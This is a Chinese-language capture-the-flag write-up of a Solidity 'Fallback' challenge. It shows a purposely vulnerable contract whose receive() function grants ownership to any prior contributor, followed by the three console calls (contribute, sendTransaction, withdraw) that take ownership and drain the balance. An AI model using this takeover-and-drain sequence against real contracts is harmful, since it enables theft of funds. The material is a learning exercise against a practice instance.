还是拿到关卡实例,发现有合约,审计代码,同时喂一下注释

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    // 记录每个地址的贡献金额
    mapping(address => uint256) public contributions;
    
    // 合约所有者地址
    address public owner;

    // 部署时设置部署者为owner,并初始化其贡献值为1000 ether
    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    // 限制只有owner能调用
    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    // 贡献函数,要求传入金额小于0.001 ether
    // 贡献金额累计,贡献最高者成为owner
    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    // 查看调用者贡献值
    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    // 只有owner能调用,提取合约余额
    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    // 合约接收以太币的回退函数
    // 发送者必须有贡献记录,发送任意金额后成为owner
    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

题目的要求是我们拿到owner身份,同时让余额清零

通过上面的代码我们可以发现,获取owner身份的方式

显然我们使用后者获取owner身份,但是这引出下一个问题,如何使用contribute函数,以及如何触发receive函数

通过google和gpt,获得

image.png

发现我们还需要调用sendTransaction函数,这是一个发送代币的函数

因此按步骤我们逐步实现:

image.png

调用完transaction函数之后,发现我们已经是owner

直接调用withdraw函数

image.png

攻击流程:

contract.contribute({value: 1}) //首先使贡献值大于0
contract.sendTransaction({value: 1}) //触发fallback函数
contract.withdraw() //将合约的balance清零

这一题还是有点难度的,可能是因为刚接触,主要是不知道contribute函数是怎么用的,他的参数以及里面为什么是{value:1},这是一种简写方式?然后就是不知道transaction函数可以直接触发fallback。这俩点是新学会的。